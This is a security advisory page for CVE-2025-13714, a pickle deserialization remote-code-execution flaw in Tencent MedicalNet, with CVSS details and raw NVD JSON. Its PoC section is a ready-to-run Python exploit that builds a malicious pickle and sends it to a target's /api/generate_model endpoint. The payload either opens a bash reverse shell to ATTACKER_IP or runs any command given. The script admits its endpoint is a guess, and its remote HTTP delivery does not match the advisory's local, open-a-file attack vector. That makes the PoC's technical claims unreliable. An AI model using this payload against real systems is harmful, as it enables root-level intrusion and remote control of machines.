Security Vulnerability Report
中文
CVE-2025-13714 CVSS 7.8 HIGH

CVE-2025-13714

Published: 2025-12-23 22:15:46
Last Modified: 2026-04-15 00:35:42

Description

Tencent MedicalNet generate_model Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent MedicalNet. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the generate_model function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27192.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tencent MedicalNet 全部版本(截至漏洞披露前)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2025-13714 PoC - Tencent MedicalNet generate_model Deserialization RCE Discovered by: [email protected] ZDI-CAN-27192 """ import pickle import base64 import requests import sys class RCEPayload: """ Malicious pickle payload for arbitrary command execution This payload uses __reduce__ method to execute commands during deserialization """ def __reduce__(self): # Execute reverse shell or arbitrary command cmd = "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1" return (eval, ("__import__('os').system('" + cmd + "')",)) def generate_exploit_payload(): """Generate the malicious serialized payload""" payload = pickle.dumps(RCEPayload()) return base64.b64encode(payload).decode() def exploit(target_url, command=None): """ Send the exploit payload to the vulnerable endpoint Args: target_url: Base URL of the vulnerable MedicalNet instance command: Optional custom command to execute (default: reverse shell) """ if command: class CustomPayload: def __reduce__(self): return (__import__('os').system, (command,)) payload = CustomPayload() else: payload = RCEPayload() serialized_data = base64.b64encode(pickle.dumps(payload)).decode() # Target endpoint - adjust path based on actual MedicalNet API structure exploit_url = f"{target_url}/api/generate_model" # Prepare the request data = { "model_config": serialized_data, "model_type": "custom", "data_source": "user_input" } try: response = requests.post(exploit_url, json=data, timeout=10) print(f"[*] Payload sent to {exploit_url}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully - check for reverse shell") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13714.py <target_url> [command]") print("Example: python cve-2025-13714.py http://target:8000 'id > /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else None exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13714", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:46.200", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent MedicalNet generate_model Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent MedicalNet. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the generate_model function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27192."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Tencent/MedicalNet/commit/1679f7ced8fd3e9ce1acc3b86cd840b5abdaa836", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1031/", "source": "[email protected]"}]}}